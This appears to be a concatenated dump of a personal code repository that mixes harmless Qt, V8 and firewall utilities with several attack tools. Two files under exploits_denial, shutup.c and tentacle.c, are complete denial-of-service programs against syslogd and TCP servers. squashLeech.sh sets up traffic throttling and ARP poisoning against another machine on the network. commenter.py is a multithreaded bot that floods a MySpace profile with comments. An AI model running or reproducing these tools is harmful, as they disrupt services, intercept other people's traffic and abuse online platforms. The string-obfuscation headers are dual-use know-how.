::value
40 | #define SAFESTR(L) Decrypt(ENCSTR(L))
41 |
42 | string Decrypt(string str)
43 | {
44 | for (unsigned int i = 0; i < str.length(); ++i)
45 | str[i] = str[i] ^ 0x55;
46 | return str;
47 | }
48 |
49 | int main()
50 | {
51 | cout << SAFESTR("AES-encrypted string") << endl;
52 | }
53 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/filejs/rot13.js:
--------------------------------------------------------------------------------
1 | // Encrypt a text file using ROT-13 substitution cipher
2 |
3 | // http://www.google.com/search?q=rot13+javascript+stackoverflow
4 | String.prototype.rot13 = function(s)
5 | {
6 | return (s ? s : this).split('').map(function(_)
7 | {
8 | if (!_.match(/[A-za-z]/)) return _;
9 | c = Math.floor(_.charCodeAt(0) / 97);
10 | k = (_.toLowerCase().charCodeAt(0) - 83) % 26 || 26;
11 | return String.fromCharCode(k + ((c == 0) ? 64 : 96));
12 | }).join('');
13 | }
14 |
15 | if (system.args.length !== 3) {
16 | system.print("Usage: rot13.js inputfile outputfile");
17 | system.exit(-1);
18 | }
19 |
20 | if (system.args[1] === system.args[2]) {
21 | system.print("Output file can't be the same as input file");
22 | system.exit(-1);
23 | }
24 |
25 | try {
26 | var input = fs.open(system.args[1], 'r');
27 | var output = fs.open(system.args[2], 'w');
28 | try {
29 | while (true)
30 | output.writeLine(input.next().rot13());
31 | }
32 | catch (e) { } // EOF exception
33 | }
34 | catch (err) {
35 | system.print("FAIL:", err);
36 | system.exit(-1);
37 | }
38 | finally {
39 | input.close();
40 | output.close();
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/jsbeautify8/README.txt:
--------------------------------------------------------------------------------
1 | Command-line jsbeautify using V8.
2 |
3 | This tool requires a working V8 library. V8 is the JavaScript engine for
4 | Google Chrome. It is open-source and available from the official site:
5 | http://code.google.com/p/v8/.
6 |
7 | Please follow the instructions on Google V8 wiki page in order to build it.
8 | It is expected that you have it under a sub-directory called lib. Some
9 | important wiki pages are:
10 | http://code.google.com/p/v8/wiki/Source
11 | http://code.google.com/p/v8/wiki/BuildingOnWindows
12 | http://code.google.com/p/v8/wiki/Contributing
13 |
14 | Please pay attention to the required tools necessary to build V8 from source,
15 | i.e. Python and scons.
16 |
17 | Build steps:
18 |
19 | svn checkout http://v8.googlecode.com/svn/trunk lib
20 | cd lib && scons mode=release
21 | cd ..
22 | g++ -o jsbeautify jsbeautify.cpp -Ilib/include/ -lv8 -Llib -m32
23 |
24 | How to use:
25 |
26 | ./jsbeautify somefile.js
27 |
28 | The formatted code is dumped to standard output. You can redirect it to a file.
29 |
30 | Note: I tested with V8 version 2.4.9 (revision 5610). If it does not work with
31 | later revision, try to check out exactly this revision (e.g. pass "-r 5610" as
32 | the option when using svn).
33 |
34 |
--------------------------------------------------------------------------------
/etc/nflogd/rc.nflogd:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # settings
4 |
5 | name="nflogd"
6 | daemon="/home/ury/bin/$name"
7 | channel="1"
8 | pidfile="/tmp/nflogd.pid"
9 | errfile="/tmp/nflogd.err"
10 | logfile="/tmp/nflogd.txt"
11 | pcapfile="/tmp/nflogd.pcap"
12 |
13 | # RC
14 |
15 | case "$1" in
16 | start)
17 | $daemon --channel $channel \
18 | --pcap $pcapfile \
19 | --daemon $logfile \
20 | --pid $pidfile \
21 | --user nobody \
22 | 2> $errfile
23 | ;;
24 |
25 | stop)
26 | if test -f $pidfile;
27 | then
28 | kill `cat $pidfile`
29 | else
30 | echo "pidfile [$pidfile] not exists"
31 | fi
32 | ;;
33 |
34 | restart)
35 | $0 stop
36 | $0 start
37 | ;;
38 |
39 | rotate)
40 | if test -f $pidfile;
41 | then
42 | kill -HUP `cat $pidfile`
43 | else
44 | echo "pidfile [$pidfile] not exists"
45 | fi
46 | ;;
47 |
48 | status)
49 | if test -f $pidfile;
50 | then
51 | if /bin/kill -0 `cat $pidfile` 2> /dev/null ; then
52 | echo "$name is running"
53 | else
54 | echo "pidfile exists but $name not running"
55 | fi
56 | else
57 | echo "$name is stopped"
58 | fi
59 |
60 | ;;
61 | *)
62 | echo "use arguments: {start|stop|restart|rotate|status}"
63 | exit 1
64 | esac
65 | exit 0
66 |
67 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/christmasblaster/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Christmas Blaster
5 |
6 |
7 |
8 |
9 |
10 |
11 |
14 |
15 |
16 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/filejs/coffee.js:
--------------------------------------------------------------------------------
1 | // Drive the CoffeeScript compiler to convert CoffeeScript to JavaScript
2 |
3 | // Important: full path to the compiler
4 | var compiler = '/home/yourusername/bin/coffee-script.js';
5 |
6 | if (system.args.length !== 2) {
7 | system.print("Usage: coffee.js inputfile");
8 | system.exit(-1);
9 | }
10 |
11 | if (!fs.exists(compiler)) {
12 | system.print("CoffeeScript compiler " + compiler + " is not available!");
13 | system.exit(-1);
14 | }
15 |
16 | var loadFile = function(fname)
17 | {
18 | var content = '',
19 | f, s;
20 |
21 | f = fs.open(fname, 'r');
22 | while (true) {
23 | s = f.readLine();
24 | if (s.length === 0) {
25 | break;
26 | }
27 | content += s;
28 | }
29 | f.close();
30 |
31 | return content;
32 | };
33 |
34 | eval(loadFile(compiler));
35 | if (typeof this.CoffeeScript !== 'object' || typeof this.CoffeeScript.compile !== 'function') {
36 | system.print("Something is wrong with the CoffeeScript compiler (" + compiler + ").");
37 | system.print("Hint: make sure you reformat it, e.g. using jsbeautifier.org");
38 | system.exit(-1);
39 | }
40 |
41 | var input = loadFile(system.args[1]);
42 | if (input.length === 0) {
43 | system.print('Nothing to convert!');
44 | system.exit(1);
45 | }
46 |
47 | system.print(this.CoffeeScript.compile(input));
48 |
--------------------------------------------------------------------------------
/python/teh1337/lookandsay.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | def process(seq):
3 | ones_twos_threes = map(lambda x: 0, range(3))
4 | last = 0
5 | output = ""
6 |
7 | seq = map(int,list(seq))
8 | if not len(seq): return "1"
9 |
10 | for i in range(len(seq)):
11 | if i == 0: last = seq[i]
12 | if seq[i] == last:
13 | ones_twos_threes[last - 1] += 1
14 | last = seq[i]
15 |
16 | if seq[i] != last or i == len(seq)-1:
17 | if seq[i] != last:
18 | output += str(ones_twos_threes[last-1])+str(last)
19 | ones_twos_threes = map(lambda x: 0, range(3))
20 | last = seq[i]
21 | ones_twos_threes[last - 1] += 1
22 | if i == len(seq)-1:
23 | output += str(ones_twos_threes[last-1])+str(last)
24 |
25 | elif seq[i] == last and i == len(seq)-1:
26 | output += str(ones_twos_threes[last-1])+str(last)
27 |
28 | return output
29 |
30 |
31 | lines = 0
32 | while lines < 2: lines = input("lines: ")
33 |
34 | seq = ""
35 | for a in range(lines):
36 | seq = process(seq)
37 | print seq
38 |
--------------------------------------------------------------------------------
/qt/firewall/iptables/firewall-public.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #######################
3 | #
4 | # CDN 10/12/2009
5 | #
6 | # firewall-laptop.sh
7 | #
8 | # Firewall rules for laptop when working
9 | # away from home
10 | #
11 | # Note: Must be run as root
12 | #
13 | #######################
14 |
15 | IPTABLES="sudo /sbin/iptables"
16 | IPTABLES_SAVE="sudo /sbin/iptables-save"
17 | TARGET="/etc/iptables/firewall-public.txt"
18 |
19 | # Flush any existing rules
20 | $IPTABLES -F
21 |
22 | # used to identify the firewall type
23 | $IPTABLES -X HOME-NETWORK
24 | $IPTABLES -N PUBLIC-NETWORK
25 |
26 | # Default Policies
27 | $IPTABLES -P INPUT DROP
28 | $IPTABLES -P FORWARD DROP
29 | $IPTABLES -P OUTPUT ACCEPT
30 |
31 | # Accept local host
32 | $IPTABLES -A INPUT -i lo --source 127.0.0.1 --destination 127.0.0.1 -j ACCEPT
33 |
34 |
35 | # Accept established connection packets
36 | $IPTABLES -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
37 |
38 | # Accept HTTP and HTTPS
39 | $IPTABLES -A INPUT -p tcp --dport http -j ACCEPT
40 | $IPTABLES -A INPUT -p tcp --dport https -j ACCEPT
41 |
42 | # Accept ssh
43 | $IPTABLES -A INPUT -p tcp --dport ssh -j ACCEPT
44 |
45 | # Allow limited number of pings
46 | $IPTABLES -A INPUT -p icmp -m limit --limit 1/second --limit-burst 5 -j ACCEPT
47 | $IPTABLES -A INPUT -p icmp -j DROP
48 |
49 | $IPTABLES_SAVE > $TARGET
50 |
51 | # List rules
52 | $IPTABLES -v -L
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/orientation/index.html:
--------------------------------------------------------------------------------
1 | Detect orientation
2 |
3 |
28 |
29 |
30 | Support for orientation change: Undetected.
31 | Current orientation: Unknown.
32 | User agent:
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/cpp/constexpr-string/10.h:
--------------------------------------------------------------------------------
1 | // Binary code obfuscation through C++ template metaprogramming
2 |
3 | template
4 | struct Pair {
5 | static const char first = C;
6 | static const size_t second = I;
7 | };
8 |
9 | template class BlockCipher, typename Key, typename T>
10 | struct EncryptByte {
11 | static const u32 L = BlockCipher::block_length;
12 | typedef typename BlockCipher::template EncryptCtr Block;
13 | static const char value = T::first ^ Block::template Byte::value;
14 | };
15 |
16 | template class BlockCipher, typename Key, typename...T>
17 | struct EncryptHelper {
18 | static const char value[sizeof...(T)];
19 | };
20 |
21 | template class BlockCipher, typename Key, typename...T>
22 | const char EncryptHelper::value[sizeof...(T)] = {
23 | EncryptByte::value...
24 | };
25 |
26 | # define THRESHOLD 256
27 | # define AT(L,I) (I < sizeof(L)) ? char(L[I]) : char(’\0’)
28 | # define DECL(z, n, L) Pair,
29 | # define ENCSTR(K0,K1,K2,K3,L) EncryptHelper, \
30 | BOOST_PP_REPEAT(THRESHOLD, DECL, L) DECL(0, THRESHOLD, L)>::value
31 | # define SAFERSTR(L,K0,K1,K2,K3) DecryptCtr>\
32 | (ENCSTR(K0,K1,K2,K3,L),THRESHOLD)
33 | # define SAFESTR(L) SAFERSTR(L,__RAND__,__LINE__,__COUNTER__,0)
34 |
35 | // std::cout << SAFESTR("AES-encrypted string") << std::endl;
36 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/flowerpower/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Flower Power
5 |
6 |
7 |
8 |
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/python/teh1337/squashLeech.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # Leech Squasher
3 | #
4 | # To test whether or not bandwidth is being limited,
5 | # run Speakeasy's bandwidth speed test on the 'leech' machine.
6 | # http://www.speakeasy.net/speedtest/
7 | #
8 |
9 | ###
10 | # *** CONFIGURE! ***
11 | ###
12 | iface=""
13 | iface_speed="100mbit"
14 | router_ip=""
15 | leech_speed="56kbit"
16 | leech_ip=""
17 |
18 | ###
19 | # Commands
20 | ###
21 | echo "[+] Clearing settings."
22 | iptables --flush
23 | iptables -t mangle --flush
24 | iptables -t nat --flush
25 | tc qdisc del dev $iface root
26 |
27 | echo "[+] Setting up iptables."
28 | echo 1 > /proc/sys/net/ipv4/ip_forward
29 | echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects
30 | iptables -t nat -A POSTROUTING -o $iface -j MASQUERADE
31 | iptables -A FORWARD -i $iface -j ACCEPT
32 | iptables -t mangle -A FORWARD -i eth0 -s $leech_ip -j MARK --set-mark 1337
33 | iptables -t mangle -A FORWARD -i eth0 -d $leech_ip -j MARK --set-mark 1337
34 |
35 | echo "[+] Setting up HTB."
36 | tc qdisc add dev $iface parent root handle 1: htb default 10
37 | tc class add dev $iface parent 1: classid 1:10 htb rate $iface_speed prio 0
38 | tc class add dev $iface parent 1: classid 1:11 htb rate $leech_speed prio 1
39 | tc filter add dev $iface protocol ip parent 1:0 handle 1337 fw flowid 1:11
40 |
41 |
42 | ###
43 | # Poison the leech's ARP table
44 | ###
45 | echo "[+] Poisoning ARP table. Press ctrl-c to stop."
46 | ./poisARP.py $router_ip $leech_ip
47 |
--------------------------------------------------------------------------------
/ofi-labs-x2/LICENSE.BSD:
--------------------------------------------------------------------------------
1 | Redistribution and use in source and binary forms, with or without
2 | modification, are permitted provided that the following conditions are met:
3 |
4 | * Redistributions of source code must retain the above copyright
5 | notice, this list of conditions and the following disclaimer.
6 | * Redistributions in binary form must reproduce the above copyright
7 | notice, this list of conditions and the following disclaimer in the
8 | documentation and/or other materials provided with the distribution.
9 | * Neither the name of the nor the
10 | names of its contributors may be used to endorse or promote products
11 | derived from this software without specific prior written permission.
12 |
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
16 | ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY
17 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
22 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/filejs/README.txt:
--------------------------------------------------------------------------------
1 | File processing using V8.
2 |
3 | This tool requires a working V8 library. V8 is the JavaScript engine for
4 | Google Chrome. It is open-source and available from the official site:
5 | http://code.google.com/p/v8/.
6 |
7 | Please follow the instructions on Google V8 wiki page in order to build it.
8 | It is expected that you have it under a sub-directory called lib. Some
9 | important wiki pages are:
10 | http://code.google.com/p/v8/wiki/Source
11 | http://code.google.com/p/v8/wiki/BuildingOnWindows
12 | http://code.google.com/p/v8/wiki/Contributing
13 |
14 | Please pay attention to the required tools necessary to build V8 from source,
15 | i.e. Python and scons.
16 |
17 | Build steps:
18 |
19 | svn checkout http://v8.googlecode.com/svn/trunk lib
20 | cd lib && scons mode=release
21 | cd ..
22 | g++ -o filejs filejs.cpp -Ilib/include/ -lv8 -Llib -lpthread
23 |
24 | Note 1: On 64-bit system, you may need to add 'arch=x64' when running scons.
25 |
26 | Note 2: I tested with V8 version 2.4.9 (revision 5610). If it does not work with
27 | later revision, try to check out exactly this revision (e.g. pass "-r 5610" as
28 | the option when using svn).
29 |
30 | Note 3: On some system, you need to add '-lpthread' when compiling filejs.
31 |
32 | How to use:
33 |
34 | ./filejs.cpp yourscript.js [arguments]
35 |
36 | Some included examples:
37 |
38 | rot13.js Encyrpt a text file using ROT-13 substitution cipher
39 | countlines.js Count non-empty lines in a file
40 |
41 |
--------------------------------------------------------------------------------
/qt/firewall/qiptables/mainwindow.h:
--------------------------------------------------------------------------------
1 | #ifndef MAINWINDOW_H
2 | #define MAINWINDOW_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include "frmconfig.h"
14 |
15 | namespace Ui {
16 | class MainWindow;
17 | }
18 |
19 | class MainWindow : public QMainWindow {
20 | Q_OBJECT
21 | public:
22 |
23 | static const int FIREWALL_HOME;
24 | static const int FIREWALL_PUBLIC;
25 |
26 | MainWindow(QWidget *parent = 0);
27 | ~MainWindow();
28 |
29 | QString executeProgram(QString prog, QStringList args = QStringList(), bool silent = false);
30 | int getCurrentDefaultFirewall();
31 |
32 | public slots:
33 | void changeDefaultFirewall(int firewall);
34 |
35 |
36 | protected slots:
37 | void changeFirewall();
38 | void openFrmConfig();
39 | void openFrmAbout();
40 | void openFrmAboutQt();
41 |
42 | protected:
43 | void changeEvent(QEvent *e);
44 | void closeEvent(QCloseEvent *event);
45 | void writeSettings();
46 | void readSettings();
47 | QString getUser();
48 | bool isRoot();
49 | void widgetEnable(bool enable);
50 | int getCurrentActiveFirewall();
51 | void displayCurrentFirewall(int currentFirewall);
52 |
53 | private:
54 | Ui::MainWindow *ui;
55 |
56 | frmConfig *configForm;
57 |
58 | QStringList firewalls;
59 | int currentDefaultFirewall;
60 | int currentActiveFirewall;
61 | };
62 |
63 | #endif // MAINWINDOW_H
64 |
--------------------------------------------------------------------------------
/exploits_denial/shutup.c:
--------------------------------------------------------------------------------
1 | /*
2 | *
3 | * shutup - syslogd 1.3 denial of service
4 | * by Mixter
5 | *
6 | * This opens up to 2000 unix domain socket connections
7 | * to /dev/log, attempting to stop syslog from responding.
8 | * WARNING: This apparently causes the kernel to panic!
9 | * You might have to run this 2 times to reproduce it as non-root.
10 | * This code is for educational purposes only, do not abuse.
11 | *
12 | */
13 |
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 |
20 | #define PATH "/dev/log"
21 | #define SHUTUPS 200
22 | #define PROCS 10
23 |
24 | int
25 | main (void)
26 | {
27 | int s, i;
28 | struct sockaddr_un sun;
29 | char host[128];
30 |
31 | sun.sun_family = AF_UNIX;
32 | strncpy (sun.sun_path, PATH, 100);
33 | gethostname (host, 128);
34 |
35 | printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n");
36 | printf ("syslog on %s is now being overloaded...\n", host);
37 |
38 | if (fork ())
39 | exit (0);
40 |
41 | for (i = 0; i < PROCS; i++)
42 | if (fork () == 0)
43 | break;
44 |
45 | for (i = 0; i < SHUTUPS; i++)
46 | {
47 | if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
48 | {
49 | perror ("socket");
50 | while (1);
51 | }
52 |
53 | if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
54 | {
55 | perror ("connect");
56 | close (s);
57 | i--;
58 | }
59 | }
60 |
61 | while (1);
62 | }
63 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/senchatouchqtwebkit/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK)
5 | #include
6 | #include
7 | #include
8 | #include
9 | #endif // Q_OS_SYMBIAN && ORIENTATIONLOCK
10 |
11 | int main(int argc, char *argv[])
12 | {
13 | QApplication app(argc, argv);
14 |
15 | #if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK)
16 | const CAknAppUiBase::TAppUiOrientation uiOrientation = CAknAppUi::EAppUiOrientationLandscape;
17 | CAknAppUi* appUi = dynamic_cast (CEikonEnv::Static()->AppUi());
18 | TRAPD(error,
19 | if (appUi)
20 | appUi->SetOrientationL(uiOrientation);
21 | );
22 | Q_UNUSED(error)
23 | #endif // ORIENTATIONLOCK
24 |
25 | const QSize screenSize(640, 360);
26 |
27 | QGraphicsScene scene;
28 |
29 | QGraphicsView view(&scene);
30 | view.setFrameShape(QFrame::NoFrame);
31 | view.setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
32 | view.setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
33 |
34 | QGraphicsWebView webview;
35 | webview.resize(screenSize);
36 | webview.load(QString::fromLatin1("html/examples/kitchensink/index.html"));
37 |
38 | scene.addItem(&webview);
39 |
40 | #if defined(Q_OS_SYMBIAN)
41 | view.showFullScreen();
42 | #elif defined(Q_WS_MAEMO_5)
43 | view.showMaximized();
44 | #else
45 | view.resize(screenSize);
46 | view.show();
47 | #endif
48 |
49 | return app.exec();
50 | }
51 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/foldervis/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/codemirror/editor.h:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2011 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #ifndef EDITOR
21 | #define EDITOR
22 |
23 | #include
24 |
25 | class CodeMirror;
26 |
27 | class Editor: public QMainWindow
28 | {
29 | Q_OBJECT
30 |
31 | public:
32 | Editor(QWidget *parent = 0);
33 |
34 | private slots:
35 | void fileNew();
36 | void fileOpen();
37 | void fileSave();
38 | bool fileSaveAs();
39 | void themeDefault();
40 | void themeCobalt();
41 | void themeElegant();
42 | void themeNeat();
43 | void themeNight();
44 |
45 | protected:
46 | bool isModified();
47 | void save(const QString &outputName);
48 | void updateTitle();
49 |
50 | private:
51 | QString m_fileName;
52 | QString m_content;
53 | CodeMirror *m_edit;
54 | };
55 |
56 | #endif
57 |
--------------------------------------------------------------------------------
/exploits_denial/tentacle.c:
--------------------------------------------------------------------------------
1 | /* tentacle.c (c) 1999 Mixter
2 | * multi-process octopus.c clone
3 | * members.xoom.com/i0wnu
4 | * proof-of-concept DoS against tcp (coded in 10 mins :p)
5 | * open a huge number of sockets to a server,
6 | * then terminate the process without closing
7 | * the connection on the server side (big fun) */
8 |
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 |
23 | char argv1[128]; int argv2,argv3;
24 | void connexi0n (char *ip, int port);
25 |
26 | int
27 | main(int argc, char **argv) {
28 | int pid,timer;
29 |
30 | if (argc!=4) {
31 | printf("usage: %s \n",argv[0]);
32 | printf(" must be a running server\n");
33 | printf("WARNING: This will not spoof your IP\n");
34 | exit(0);
35 | }
36 |
37 | strcpy(argv1,argv[1]); argv2=atoi(argv[2]); argv3=atoi(argv[3]);
38 |
39 | for(timer=0;timer<=argv3;timer++) {
40 | usleep(250000);
41 | if ((pid=vfork()) < 0) { perror("fork"); exit(1); }
42 | if (pid==0) {
43 | connexi0n(argv1,argv2);
44 | kill(getpid(),9);
45 | }
46 | }
47 |
48 | return 0;
49 | }
50 |
51 | void
52 | connexi0n (char *ip, int port)
53 | {
54 | struct sockaddr_in target;
55 | target.sin_family = AF_INET;
56 | target.sin_port = htons(port);
57 | target.sin_addr.s_addr = inet_addr(ip);
58 | connect(socket(AF_INET,SOCK_STREAM,0), (struct sockaddr *)&target,
59 | sizeof(struct sockaddr));
60 | sleep(30);
61 | return;
62 | }
63 |
--------------------------------------------------------------------------------
/ofi-labs-x2/hybrid/nativedialog/nativedialog.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2011 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #include "nativedialog.h"
21 |
22 | #include
23 | #include
24 | #include
25 | #include
26 |
27 | Dialog::Dialog(QObject *parent)
28 | : QObject(parent)
29 | {
30 | }
31 |
32 | void Dialog::showMessage(const QString &msg)
33 | {
34 | QMessageBox::information(0, "Information", msg);
35 | }
36 |
37 | int main(int argc, char **argv)
38 | {
39 | QApplication app(argc, argv);
40 |
41 | QWebView webView;
42 | webView.resize(400, 300);
43 | webView.setWindowTitle("Dialog Example");
44 | webView.show();
45 |
46 | webView.load(QUrl("qrc:/index.html"));
47 | QWebFrame *mainFrame = webView.page()->mainFrame();
48 | mainFrame->addToJavaScriptWindowObject("Dialog", new Dialog);
49 |
50 | return app.exec();
51 | }
52 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/codemirror/codemirror.h:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2011 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #ifndef CODEMIRROR
21 | #define CODEMIRROR
22 |
23 | #include
24 |
25 | class External: public QObject
26 | {
27 | Q_OBJECT
28 | Q_PROPERTY(QString data READ data)
29 |
30 | public:
31 | External(QObject *parent = 0)
32 | : QObject(parent)
33 | {
34 | }
35 |
36 | QString text;
37 | QString data() const {
38 | return text;
39 | }
40 | };
41 |
42 | class CodeMirror: public QWebView
43 | {
44 | Q_OBJECT
45 |
46 | public:
47 | CodeMirror(QWidget *parent = 0);
48 |
49 | QString text() const;
50 | void setText(const QString &text);
51 |
52 | void changeTheme(const QString &theme);
53 |
54 | public slots:
55 | void undo();
56 | void redo();
57 | void cut();
58 | void copy();
59 | void paste();
60 |
61 | private:
62 | External *m_external;
63 | };
64 |
65 | #endif
66 |
--------------------------------------------------------------------------------
/cpp/linux-daemon/linux-daemon.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | int main(void) {
12 |
13 | /* Our process ID and Session ID */
14 | pid_t pid, sid;
15 |
16 | /* Fork off the parent process */
17 | pid = fork();
18 | if (pid < 0) {
19 | exit(EXIT_FAILURE);
20 | }
21 | /* If we got a good PID, then
22 | we can exit the parent process. */
23 | if (pid > 0) {
24 | exit(EXIT_SUCCESS);
25 | }
26 |
27 | /* Change the file mode mask */
28 | umask(0);
29 |
30 | /* Open any logs here */
31 |
32 | /* Create a new SID for the child process */
33 | sid = setsid();
34 | if (sid < 0) {
35 | /* Log the failure */
36 | exit(EXIT_FAILURE);
37 | }
38 |
39 |
40 |
41 | /* Change the current working directory */
42 | if ((chdir("/")) < 0) {
43 | /* Log the failure */
44 | exit(EXIT_FAILURE);
45 | }
46 |
47 | /* Close out the standard file descriptors */
48 | close(STDIN_FILENO);
49 | close(STDOUT_FILENO);
50 | close(STDERR_FILENO);
51 |
52 | /* Daemon-specific initialization goes here */
53 |
54 | /* The Big Loop */
55 | while (1) {
56 | /* Do some task here ... */
57 |
58 | sleep(30); /* wait 30 seconds */
59 | }
60 | exit(EXIT_SUCCESS);
61 | }
--------------------------------------------------------------------------------
/python/teh1337/commenter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import urllib2, ClientForm, threading, sys
3 |
4 | email = "" # Email address of account to post comments
5 | password = "" # Password of account to post comments
6 | friendID = "" # Friend ID of recipient of comments
7 | message = "" # Message to leave in comments
8 | thread_limit = 40 # Number of bots to run in parallel
9 |
10 | class postComment(threading.Thread):
11 | def __init__(self): threading.Thread.__init__(self)
12 | def run(self):
13 | print "Posting comment %d!" % counter
14 | req = urllib2.Request("http://comment.myspace.com/index.cfm?fuseaction=user.viewProfile_commentForm&friendID=%s" % friendID)
15 | res = opener.open(req)
16 | forms = ClientForm.ParseResponse(res)
17 | form = forms[1]
18 | form["ctl00$cpMain$postComment$commentTextBox"] = message
19 | res = opener.open(form.click())
20 | forms = ClientForm.ParseResponse(res)
21 | form = forms[1]
22 | opener.open(form.click())
23 |
24 | # login
25 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
26 | opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
27 | urllib2.install_opener(opener)
28 | req = urllib2.Request("http://login.myspace.com/index.cfm?fuseaction=login.process")
29 | res = opener.open(req)
30 | forms = ClientForm.ParseResponse(res)
31 | form = forms[1]
32 | form["email"] = email
33 | form["password"] = password
34 | opener.open(form.click())
35 |
36 | # post comment
37 | counter = 0
38 | while 1:
39 | try:
40 | if threading.activeCount() < thread_limit:
41 | print counter
42 | postComment().start()
43 | counter+=1
44 | sys.stdout.write("\r%d Comments Posted." % counter)
45 | sys.stdout.flush()
46 | except KeyboardInterrupt: break
47 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/codemirror/codemirror.css:
--------------------------------------------------------------------------------
1 | .CodeMirror {
2 | line-height: 1em;
3 | font-family: monospace;
4 | }
5 |
6 | .CodeMirror-scroll {
7 | overflow: auto;
8 | height: 300px;
9 | /* This is needed to prevent an IE[67] bug where the scrolled content
10 | is visible outside of the scrolling box. */
11 | position: relative;
12 | }
13 |
14 | .CodeMirror-gutter {
15 | position: absolute; left: 0; top: 0;
16 | z-index: 10;
17 | background-color: #f7f7f7;
18 | border-right: 1px solid #eee;
19 | min-width: 2em;
20 | height: 100%;
21 | }
